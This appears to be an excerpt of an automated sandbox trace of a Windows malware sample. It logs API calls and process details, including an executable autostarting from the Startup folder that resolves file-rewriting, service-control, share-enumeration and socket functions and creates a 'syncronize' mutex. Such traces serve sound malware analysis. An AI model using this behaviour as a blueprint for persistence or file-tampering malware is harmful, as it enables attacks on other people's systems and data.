	[0074.280] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x4dd259ea60, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4dd259ea60) returned 0x1a1db4a1a40
	[0074.280] GetProcessHeap () returned 0x1a1db4a0000
	[0074.280] RtlReAllocateHeap (Heap=0x1a1db4a0000, Flags=0x0, Ptr=0x1a1db4a6cc0, Size=0x8) returned 0x1a1db4a6cc0
	[0074.280] FindClose (in: hFindFile=0x1a1db4a1a40 | out: hFindFile=0x1a1db4a1a40) returned 1
	[0074.281] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1
	[0074.281] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2
	[0074.281] ??_V@YAXPEAX@Z () returned 0x1
	[0074.281] GetConsoleTitleW (in: lpConsoleTitle=0x4dd259efe0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0075.110] GetProcessHeap () returned 0x1a1db4a0000
	[0075.110] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x21c) returned 0x1a1db4a6cf0
	[0075.110] GetConsoleTitleW (in: lpConsoleTitle=0x1a1db4a6d00, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b
	[0076.132] GetProcessHeap () returned 0x1a1db4a0000
	[0076.132] RtlReAllocateHeap (Heap=0x1a1db4a0000, Flags=0x0, Ptr=0x1a1db4a6cf0, Size=0xaa) returned 0x1a1db4a6cf0
	[0076.132] GetProcessHeap () returned 0x1a1db4a0000
	[0076.132] RtlSizeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, MemoryPointer=0x1a1db4a6cf0) returned 0xaa
	[0076.132] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - mode  con cp select=1251") returned 1
	[0076.668] GetProcessHeap () returned 0x1a1db4a0000
	[0076.668] RtlFreeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, BaseAddress=0x1a1db4a6cf0) returned 1
	[0076.668] InitializeProcThreadAttributeList (in: lpAttributeList=0x4dd259ef00, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x4dd259edf0 | out: lpAttributeList=0x4dd259ef00, lpSize=0x4dd259edf0) returned 1
	[0076.668] UpdateProcThreadAttribute (in: lpAttributeList=0x4dd259ef00, dwFlags=0x0, Attribute=0x60001, lpValue=0x4dd259eddc, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x4dd259ef00, lpPreviousValue=0x0) returned 1
	[0076.668] GetStartupInfoW (in: lpStartupInfo=0x4dd259ee90 | out: lpStartupInfo=0x4dd259ee90*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x248, hStdOutput=0x254, hStdError=0x254)) 
	[0076.669] GetProcessHeap () returned 0x1a1db4a0000
	[0076.669] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x20) returned 0x1a1db4a1a40
	[0076.669] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0076.669] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0076.669] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0076.669] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0076.669] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0076.669] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0076.669] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0076.669] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0076.669] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="OneDriv", _MaxCount=0x7) returned -12
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18
	[0076.670] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20
	[0076.670] GetProcessHeap () returned 0x1a1db4a0000
	[0076.670] RtlFreeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, BaseAddress=0x1a1db4a1a40) returned 1
	[0076.670] GetProcessHeap () returned 0x1a1db4a0000
	[0076.670] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0x12) returned 0x1a1db4a1a40
	[0076.670] _get_osfhandle (_FileHandle=1) returned 0x254
	[0076.670] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0
	[0076.670] _get_osfhandle (_FileHandle=0) returned 0x248
	[0076.671] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0
	[0076.671] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode  con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x4dd259ee20*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode  con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x4dd259edf8 | out: lpCommandLine="mode  con cp select=1251", lpProcessInformation=0x4dd259edf8*(hProcess=0x9c, hThread=0x98, dwProcessId=0xee0, dwThreadId=0xf2c)) returned 1
	[0077.208] CloseHandle (hObject=0x98) returned 1
	[0077.208] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0077.208] GetProcessHeap () returned 0x1a1db4a0000
	[0077.208] RtlFreeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, BaseAddress=0x1a1db4a8500) returned 1
	[0077.209] GetEnvironmentStringsW () returned 0x1a1db4a8500*
	[0077.209] GetProcessHeap () returned 0x1a1db4a0000
	[0077.209] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0xacc) returned 0x1a1db4bb7a0
	[0077.209] FreeEnvironmentStringsA (penv="=") returned 1
	[0077.209] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcea380000
	[0077.209] GetProcAddress (hModule=0x7ffcea380000, lpProcName="NtQueryInformationProcess") returned 0x7ffcea4256b0
	[0077.209] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0x4dd259e2f8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x4dd259e2f8, ReturnLength=0x0) returned 0x0
	[0077.209] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0x6521c3e000, lpBuffer=0x4dd259e330, nSize=0x7a0, lpNumberOfBytesRead=0x4dd259e2f0 | out: lpBuffer=0x4dd259e330*, lpNumberOfBytesRead=0x4dd259e2f0*=0x7a0) returned 1
	[0077.210] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) returned 0x0
	[0091.452] GetExitCodeProcess (in: hProcess=0x9c, lpExitCode=0x4dd259ed78 | out: lpExitCode=0x4dd259ed78*=0x0) returned 1
	[0091.452] CloseHandle (hObject=0x9c) returned 1
	[0091.452] _vsnwprintf (in: _Buffer=0x4dd259ef48, _BufferCount=0x13, _Format="%08X", _ArgList=0x4dd259ed88 | out: _Buffer="00000000") returned 8
	[0091.452] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1
	[0091.452] GetProcessHeap () returned 0x1a1db4a0000
	[0091.452] RtlFreeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, BaseAddress=0x1a1db4bb7a0) returned 1
	[0091.452] GetEnvironmentStringsW () returned 0x1a1db4bcd80*
	[0091.452] GetProcessHeap () returned 0x1a1db4a0000
	[0091.452] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0xaf2) returned 0x1a1db4bd880
	[0091.452] FreeEnvironmentStringsA (penv="=") returned 1
	[0091.452] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1
	[0091.452] GetProcessHeap () returned 0x1a1db4a0000
	[0091.452] RtlFreeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, BaseAddress=0x1a1db4bd880) returned 1
	[0091.453] GetEnvironmentStringsW () returned 0x1a1db4bcd80*
	[0091.453] GetProcessHeap () returned 0x1a1db4a0000
	[0091.453] RtlAllocateHeap (HeapHandle=0x1a1db4a0000, Flags=0x8, Size=0xaf2) returned 0x1a1db4bd880
	[0091.454] FreeEnvironmentStringsA (penv="=") returned 1
	[0091.454] GetProcessHeap () returned 0x1a1db4a0000
	[0091.454] RtlFreeHeap (HeapHandle=0x1a1db4a0000, Flags=0x0, BaseAddress=0x1a1db4a1a40) returned 1
	[0091.454] DeleteProcThreadAttributeList (in: lpAttributeList=0x4dd259ef00 | out: lpAttributeList=0x4dd259ef00) 
	[0091.454] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") 

Thread:
	id = 24
	os_tid = 0xdb8


Process:
	id = "3"
	image_name = "conhost.exe"
	filename = "c:\\windows\\system32\\conhost.exe"
	page_root = "0x895f000"
	os_pid = "0x1154"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x1158"
	cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1"
	cur_dir = "C:\\WINDOWS"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 9
	os_tid = 0x11a4


Thread:
	id = 15
	os_tid = 0x10e0


Thread:
	id = 21
	os_tid = 0xd04


Thread:
	id = 22
	os_tid = 0xc20


Thread:
	id = 23
	os_tid = 0xd78


Process:
	id = "4"
	image_name = "mode.com"
	filename = "c:\\windows\\system32\\mode.com"
	page_root = "0xc22e000"
	os_pid = "0xee0"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0x1158"
	cmd_line = "mode  con cp select=1251"
	cur_dir = "C:\\Users\\FD1HVy\\Desktop\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 25
	os_tid = 0xf2c


Thread:
	id = 26
	os_tid = 0xe4c


Process:
	id = "5"
	image_name = "fvppjh.exe"
	filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\fvppjh.exe"
	page_root = "0x5e8d0000"
	os_pid = "0xdc0"
	os_integrity_level = "0x2000"
	os_privileges = "0x40800000"
	monitor_reason = "autostart"
	parent_id = "0"
	os_parent_pid = "0x9bc"
	cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\fvppjh.exe\" "
	cur_dir = "C:\\WINDOWS\\system32\\"
	os_username = "NQDPDE\\FD1HVy"
	bitness = "32"
	os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:000118fc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 29
	os_tid = 0xdc4

	[0150.457] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x77950000
	[0150.457] GetProcAddress (hModule=0x77950000, lpProcName="GetProcAddress") returned 0x779651b0
	[0150.457] GetProcAddress (hModule=0x77950000, lpProcName="GetModuleHandleW") returned 0x779650d0
	[0150.457] GetProcAddress (hModule=0x77950000, lpProcName="FindNextFileW") returned 0x779bee40
	[0150.457] GetProcAddress (hModule=0x77950000, lpProcName="FindClose") returned 0x779bed70
	[0150.457] GetProcAddress (hModule=0x77950000, lpProcName="MoveFileW") returned 0x7799e500
	[0150.457] GetProcAddress (hModule=0x77950000, lpProcName="GetFileSizeEx") returned 0x779bef40
	[0150.457] GetProcAddress (hModule=0x77950000, lpProcName="GetModuleFileNameW") returned 0x77965090
	[0150.457] GetProcAddress (hModule=0x77950000, lpProcName="GetFileAttributesW") returned 0x779bef10
	[0150.457] GetProcAddress (hModule=0x77950000, lpProcName="ExitProcess") returned 0x77963cb0
	[0150.457] GetProcAddress (hModule=0x77950000, lpProcName="GetCommandLineW") returned 0x77964cc0
	[0150.457] GetProcAddress (hModule=0x77950000, lpProcName="GetComputerNameW") returned 0x779932c0
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="GetComputerNameA") returned 0x77993780
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="CreateMutexW") returned 0x779beb70
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="lstrlenW") returned 0x77966c70
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="lstrlenA") returned 0x77966c50
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="GetCurrentProcess") returned 0x779bea10
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="WaitForSingleObject") returned 0x779beca0
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="GetLogicalDrives") returned 0x77960d20
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="GetTickCount") returned 0x779bdd50
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="DeleteFileW") returned 0x779bed40
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="WideCharToMultiByte") returned 0x77966b10
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x779bebb0
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="Sleep") returned 0x77966760
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="LeaveCriticalSection") returned 0x77c2b250
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="ReadFile") returned 0x779bf090
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="CreateFileW") returned 0x779bed10
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="OpenMutexW") returned 0x779bebf0
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="EnterCriticalSection") returned 0x77c2b2d0
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="WaitForMultipleObjects") returned 0x779bec80
	[0150.458] GetProcAddress (hModule=0x77950000, lpProcName="lstrcmpiW") returned 0x77966bf0
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="lstrcmpiA") returned 0x77966bd0
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="DeleteCriticalSection") returned 0x77c0fb90
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="ReleaseMutex") returned 0x779bec20
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="CloseHandle") returned 0x779beab0
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="GetVersion") returned 0x779656c0
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="CreateThread") returned 0x779646b0
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="ExpandEnvironmentStringsW") returned 0x77964a40
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="QueryPerformanceCounter") returned 0x77965da0
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="QueryPerformanceFrequency") returned 0x77965dc0
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="GetCurrentProcessId") returned 0x779bea20
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="SetFileAttributesW") returned 0x779bf100
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="GetVolumeInformationW") returned 0x779bf020
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="WriteFile") returned 0x779bf180
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="SetFilePointerEx") returned 0x779bf130
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="SetEndOfFile") returned 0x779bf0e0
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="FindFirstFileW") returned 0x779bedf0
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="GetProcessHeap") returned 0x779651f0
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="HeapReAlloc") returned 0x77c1f630
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="HeapAlloc") returned 0x77c22dc0
	[0150.459] GetProcAddress (hModule=0x77950000, lpProcName="HeapFree") returned 0x779657f0
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="CreatePipe") returned 0x77964590
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="SetHandleInformation") returned 0x779beae0
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="CreateProcessW") returned 0x77964610
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="CompareStringW") returned 0x77964430
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="CompareStringA") returned 0x77964410
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="OpenProcess") returned 0x77965cc0
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="TerminateProcess") returned 0x779667e0
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="GetSystemTime") returned 0x779654e0
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="SystemTimeToFileTime") returned 0x779667a0
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="GetLastError") returned 0x77965010
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="CreateToolhelp32Snapshot") returned 0x7799edc0
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="Process32NextW") returned 0x7799f8f0
	[0150.460] GetProcAddress (hModule=0x77950000, lpProcName="Process32FirstW") returned 0x7799f750
	[0150.460] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77770000
	[0150.548] GetProcAddress (hModule=0x77770000, lpProcName="RegOpenKeyExW") returned 0x7778e580
	[0150.549] GetProcAddress (hModule=0x77770000, lpProcName="RegQueryValueExW") returned 0x7778e5a0
	[0150.549] GetProcAddress (hModule=0x77770000, lpProcName="RegSetValueExW") returned 0x7778f530
	[0150.549] GetProcAddress (hModule=0x77770000, lpProcName="RegCloseKey") returned 0x7778ed60
	[0150.549] GetProcAddress (hModule=0x77770000, lpProcName="OpenProcessToken") returned 0x7778efb0
	[0150.549] GetProcAddress (hModule=0x77770000, lpProcName="GetTokenInformation") returned 0x7778ee90
	[0150.549] GetProcAddress (hModule=0x77770000, lpProcName="OpenSCManagerW") returned 0x77790540
	[0150.549] GetProcAddress (hModule=0x77770000, lpProcName="OpenServiceW") returned 0x7778fa20
	[0150.549] GetProcAddress (hModule=0x77770000, lpProcName="CloseServiceHandle") returned 0x7778fc00
	[0150.549] GetProcAddress (hModule=0x77770000, lpProcName="ControlService") returned 0x777a26d0
	[0150.549] GetProcAddress (hModule=0x77770000, lpProcName="QueryServiceStatus") returned 0x77792380
	[0150.549] GetProcAddress (hModule=0x77770000, lpProcName="EnumDependentServicesW") returned 0x777a2f70
	[0150.550] GetProcAddress (hModule=0x77770000, lpProcName="EnumServicesStatusExW") returned 0x7778fc80
	[0150.550] LoadLibraryA (lpLibFileName="user32.dll") returned 0x777f0000
	[0150.680] GetProcAddress (hModule=0x777f0000, lpProcName="SystemParametersInfoW") returned 0x7781f210
	[0150.680] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x76410000
	[0150.930] GetProcAddress (hModule=0x76410000, lpProcName="ShellExecuteExW") returned 0x76574730
	[0150.930] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77be0000
	[0150.930] GetProcAddress (hModule=0x77be0000, lpProcName="NtQuerySystemInformation") returned 0x77c52070
	[0150.930] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x745e0000
	[0150.944] GetProcAddress (hModule=0x745e0000, lpProcName="WNetCloseEnum") returned 0x745e2640
	[0150.944] GetProcAddress (hModule=0x745e0000, lpProcName="WNetOpenEnumW") returned 0x745e2790
	[0150.944] GetProcAddress (hModule=0x745e0000, lpProcName="WNetEnumResourceW") returned 0x745e2410
	[0150.944] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x75150000
	[0150.955] GetProcAddress (hModule=0x75150000, lpProcName="WSAStartup") returned 0x75155b40
	[0150.955] GetProcAddress (hModule=0x75150000, lpProcName="socket") returned 0x75164510
	[0150.955] GetProcAddress (hModule=0x75150000, lpProcName="send") returned 0x75155030
	[0150.955] GetProcAddress (hModule=0x75150000, lpProcName="recv") returned 0x75160c50
	[0150.955] GetProcAddress (hModule=0x75150000, lpProcName="connect") returned 0x75155410
	[0150.956] GetProcAddress (hModule=0x75150000, lpProcName="closesocket") returned 0x75160910
	[0150.956] GetProcAddress (hModule=0x75150000, lpProcName="gethostbyname") returned 0x75186cb0
	[0150.956] GetProcAddress (hModule=0x75150000, lpProcName="inet_addr") returned 0x75169160
	[0150.956] GetProcAddress (hModule=0x75150000, lpProcName="ntohl") returned 0x751549d0
	[0150.956] GetProcAddress (hModule=0x75150000, lpProcName="htonl") returned 0x751549d0
	[0150.956] GetProcAddress (hModule=0x75150000, lpProcName="htons") returned 0x75168ff0
	[0150.956] GetProcessHeap () returned 0x5a0000
	[0150.956] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5aae38
	[0150.956] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=5746634802) returned 1
	[0150.956] GetTickCount () returned 0x11388dd
	[0150.956] GetCurrentProcessId () returned 0xdc0
	[0150.958] GetTickCount () returned 0x11388dd
	[0150.958] GetTickCount () returned 0x11388dd
	[0150.958] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x20) returned 0x5aaeb0
	[0150.958] GetVersion () returned 0x23f00206
	[0150.958] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x7) returned 0x5b6d90
	[0150.958] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5b7e90
	[0150.958] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7e90, Size=0x20) returned 0x5aaed8
	[0150.958] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5aaed8, Size=0x40) returned 0x5b7988
	[0150.958] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5bd850
	[0150.958] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_128NW7A") returned 0x0
	[0150.958] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_128NW7A") returned 0x1ec
	[0150.958] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b6d90 | out: hHeap=0x5a0000) returned 1
	[0150.958] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0150.959] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b7988 | out: hHeap=0x5a0000) returned 1
	[0150.959] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x7) returned 0x5b6d90
	[0150.959] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x5b7ec0
	[0150.959] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5b7ec0, Size=0x20) returned 0x5aaed8
	[0150.959] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5aaed8, Size=0x40) returned 0x5b7430
	[0150.959] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5cd858
	[0150.959] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_128NW7U") returned 0x0
	[0150.959] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_128NW7U") returned 0x1f0
	[0150.959] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b6d90 | out: hHeap=0x5a0000) returned 1
	[0150.959] lstrlenW (lpString="Global\\syncronize_") returned 18
	[0150.959] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5b7430 | out: hHeap=0x5a0000) returned 1
	[0150.959] GetVersion () returned 0x23f00206
	[0150.959] GetCurrentProcess () returned 0xffffffff
	[0150.959] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1
	[0150.959] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1
	[0150.959] CloseHandle (hObject=0x1f4) returned 1
